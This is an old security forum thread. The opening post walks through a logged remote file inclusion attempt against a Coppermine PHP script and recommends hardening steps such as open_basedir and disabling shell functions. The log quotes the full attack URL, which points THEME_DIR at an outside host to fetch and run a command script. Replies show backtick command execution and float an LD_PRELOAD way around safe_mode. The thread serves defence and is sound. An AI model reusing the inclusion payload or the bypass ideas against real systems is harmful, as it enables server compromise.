PHP Scriptonite - attacking/securing PHP
Page 1 of 2 12 LastLast
Results 1 to 10 of 12

Thread: PHP Scriptonite - attacking/securing PHP

  1. #1
    Senior Member
    Join Date
    Mar 2003
    Posts
    452

    PHP Scriptonite - attacking/securing PHP

    Well, it's been a good while since I've discussed PHP security, and since I just beat a fairly interesting PHP attack, I thought I'd take a moment to tell you about the attempted compromise, and what you can do to secure your PHP installation.

    Being one of those old schoolers that thinks it's important to check their logs every single damn day, here's what I found. I have specially formatted errors that I create with a php script:

    PHP Code:
    The following error has been received on Saturday 22nd of January 2005 03:24:45 
    Error 404 
    Page Not Found
    Requested URL
    :  mydomain.com/modules/coppermine/themes/default/theme.php?THEME_DIR=http://www.derf.hpgvip.com.br/newcmd.gif?&cmd=id
    Referring URL
    Visitor's IP Address: 200.151.70.121 (The attacker)
    User Agent: 
    Let's review this attack in greater detail. While I do run php-nuke, there are things that I do to protect my setup. This attack is trying to exploit a flaw in the application coppermine. Coppermine fails to properly validate paths. That being the case, it's possible for an attacker to attempt to supply a path to a php script on a remote server to be included locally on your server.

    Taking a look at what the attacker is trying to include:
    http://www.derf.hpgvip.com.br/newcmd.gif?&cmd=id

    Examining the attacker's page. After reading the code, basically the attacker is trying to add a backdoor some c shellcode into the kernel, ouch. The attacker does this by taking advantage of the fact that /tmp is normally writable.

    How did I avoid this attack? Well, firstly I'm not running coppermine, but forget that part, it could be any php app that doesn't validate a path, so what exactly could have been done to prevent this?

    For one, you should definately enable open_basedir restrictions. What it does is limit the files that can be opened by PHP to the specified directory-tree, including the file itself. This directive is NOT affected by whether Safe Mode is turned On or Off. When a script tries to open a file with, for example, fopen() or gzopen(), the location of the file is checked. When the file is outside the specified directory-tree, PHP will refuse to open it. All symbolic links are resolved, so it's not possible to avoid this restriction with a symlink.

    Disabling dangerous functions.
    PHP Code:
     disable_functions shell_exec,proc_open,system,exec,passthru,phpinfo,show_source 
    Disabling the above functions is a good start. These functions give the ability to run commands and execute external programs. Very dangerous indeed if the wrong thing gets run. In a production environment, especially a hosting environment, these should all be disabled.

    Your probably wondering why phpinfo and show_source should be disabled. Again, if it's a production environment and not a development environment, there is no reason to let potentioal attackers gleam information about your setup with phpinfo. show_source is a very dangerous function if run, as it does exactly what it's named for, showing the source of your php code, that could include hardcoded usernames and passwords (config.php anyone).

    Let's go back to the attack and see how well it would have worked, with your php settings hardend. Your right, the attacker's code couldn't do jack. It never would have written anything to /tmp because it's outside the directory that php would have been allowed to even access, let alone write to. Secondly, we've disabled those dangerous functions that as you can see, attackers are willing and ready to use.

    I hope that this post helps some of you PHP coders out there. This applies to you, even if you just have a hosted account and don't run the box yourself.

    In closing, to the lame script kiddies, I'd like to swing my hammer to the teeth of Data Cha0s, you guyz don't own crap, your technique sucks, and didn't involve any skill. Your only attacking what you think are vulnerable people because your weak yourselves. I step on you cockroaches.


    PuRe
    Like this post? Visit PuRe\'s Information Technology Community. We\'ve also got some kick ass Technology Forums. Shop for books and dvds on LiveWebShop.com

  2. #2
    Senior Member
    Join Date
    Nov 2001
    Posts
    1,255
    Erm, you do realise the script as loaded won't function standalone on any default PHP installation newer than 4.2 (when they disabled register_globals), right?

    Even assuming any of the prior run code were to enable register_globals, it would have to rely on a weak PHP, Apache, and then O/S configuration, and an exploitable kernel. If you aren't patching your systems, of course you are going to get broken into...
    Chris Shepherd
    The Nelson-Shepherd cutoff: The point at which you realise someone is an idiot while trying to help them.
    \"Well as far as the spelling, I speak fluently both your native languages. Do you even can try spell mine ?\" -- Failed Insult
    Is your whole family retarded, or did they just catch it from you?

  3. #3
    Senior Member
    Join Date
    Mar 2003
    Posts
    452
    Originally posted here by chsh
    If you aren't patching your systems, of course you are going to get broken into...
    We're not talking about system patching, that's a whole new issue altogether. Register globals is also another thread. Basically, my thread is pointing things that you can do to secure your php installation. I didn't get broken into thank god, but I wanted to share the reason why. Weak input validation was the original vulnerability being discussed, not register globals. Thanks for your comment though.


    PuRe
    Like this post? Visit PuRe\'s Information Technology Community. We\'ve also got some kick ass Technology Forums. Shop for books and dvds on LiveWebShop.com

  4. #4
    Senior Member
    Join Date
    Jan 2002
    Posts
    1,207
    Yeah, what Pure's talking about is methods to mitigate the seriousness of any attack on a vulnerable PHP app. Useful for people who host them, and don't want their machines destroyed.

    Of course, not hosting a vulnerable app in the first place is preferable.

    safe_mode should be your first response, this automatically disables all function which execute user-specified external programs.

    If you don't require it, disable allow_fopen_url - that is sometimes used as an attack vector (although not itself a cause of too many problems if properly written).

    I'm a bit sceptical about whether safe_mode prevents dynamic linker exploits from functions which execute external programs and are still allowed in safe_mode - e.g. setting $_ENV{'LD_PRELOAD'} to a user-supplied .so file then calling mail()

    But it's better than nothing

    Slarty

  5. #5
    Elite Hacker
    Join Date
    Mar 2003
    Posts
    1,407
    I have a question. Sure you can disable functions in the php.ini such as exec() and system().
    But is there anything to disable the `` acting as signals to execute any command within them?

  6. #6
    Senior Member
    Join Date
    Mar 2003
    Posts
    452
    Originally posted here by h3r3tic
    I have a question. Sure you can disable functions in the php.ini such as exec() and system().
    But is there anything to disable the `` acting as signals to execute any command within them?
    Wanna show me an example of what your talking about pls.

    To my knowledge which doesn't go that far, the difference between single and double quotes in simple terms is, that both are used to define a string, however, anything within single quotes is a literal value of what is between the quotes, whereas anything within the double quotes could be replaced with the value of another variable.


    PuRe
    Like this post? Visit PuRe\'s Information Technology Community. We\'ve also got some kick ass Technology Forums. Shop for books and dvds on LiveWebShop.com

  7. #7
    Elite Hacker
    Join Date
    Mar 2003
    Posts
    1,407
    those weren't single quotes they were backticks, ` ' they're different. Sorry guess I should have specified. But you are able to execute commands with the backtick.
    PHP Code:
    <?php
    echo "<pre>\n";
    echo `
    ls`;
    echo 
    "\n</pre>";
    ?&
    gt
    that for example will echo the output of the ls command. I read somewhere just now that a guy thinks that disabling shell_exec() disables the ``'s, but think isn't good enough for me. I have no functions disabled, but I'm just curious.

  8. #8
    Hi mom!
    Join Date
    Aug 2001
    Posts
    1,103
    The exploit attempt was taken from Pure's logs - that fact alone validates the research he put into it (the exploit is in the wild, must be making some hits somewhere). Sure, we all should patch, update and stop using vulnerable code. We all should, hardly anyone is actually doing it.

    Pure made a nice layout of cause, effect and remedy. Good work - even if the impact or frequency of the exploit isn't sky-high. I'd really like to see more of this.
    I wish to express my gratitude to the people of Italy. Thank you for inventing pizza.

  9. #9
    Senior Member
    Join Date
    Mar 2003
    Posts
    452
    Originally posted here by h3r3tic
    I read somewhere just now that a guy thinks that disabling shell_exec() disables the ``'s, but think isn't good enough for me. I have no functions disabled, but I'm just curious.
    That's absolutely correct, per the official php site http://us3.php.net/language.operators.execution

    Note: The backtick operator is disabled when safe mode is enabled or shell_exec() is disabled.

    So my same advice would still be valid for you h3r3tic , sorry for my delay in response, I didn't see the post until I woke up.

    Thnx Guus


    PuRe
    Like this post? Visit PuRe\'s Information Technology Community. We\'ve also got some kick ass Technology Forums. Shop for books and dvds on LiveWebShop.com

  10. #10
    Senior Member
    Join Date
    Jan 2002
    Posts
    1,207
    Personally, I don't agree that show_source is a dangerous function.

    show_source only shows the source code if it's called. In practice, no application ever calls show_source. So where's the danger?

    If someone can read the files directly, or write their own PHP code, they can obtain the source code in other ways anyway, so show_source is irrelevant. In recent versions of PHP, show_source is also affected by safe_mode etc, so it won't reveal anything that a call to readfile() would not.

    So show_source is not of any danger at all.

    Slarty

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •  

 Security News

     Patches

       Security Trends

         How-To

           Buying Guides